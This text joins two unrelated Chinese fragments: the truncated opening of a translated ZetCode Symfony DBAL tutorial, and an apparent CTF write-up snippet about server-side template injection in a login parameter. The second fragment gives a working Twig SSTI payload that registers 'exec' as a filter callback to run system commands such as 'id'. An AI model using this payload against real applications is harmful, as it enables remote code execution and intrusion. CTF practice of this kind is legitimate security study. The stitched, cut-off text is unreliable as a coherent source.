ZetCodeSymfony教程（一）原文：ZetCode协议：CCBY-NC-SA4.0SymfonyDBAL教程原文：http://zetcode.com/symfony/dbal/SymfonyDBAL教程显示了如何使用DoctrineDBAL组件在Symfony应用中使用数据库。SymfonySymfony是一组可重用的PHP组件和一个用于Web项目的PHP

首先这题flag模块有个登录页面抓包可以看到user=123，最后会返回hello123，这里就很像ssti注入，输入user={{2*3}}最后也是返回成功了，而且处理器是php，常见模块有：twig，smarty，blade输入user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}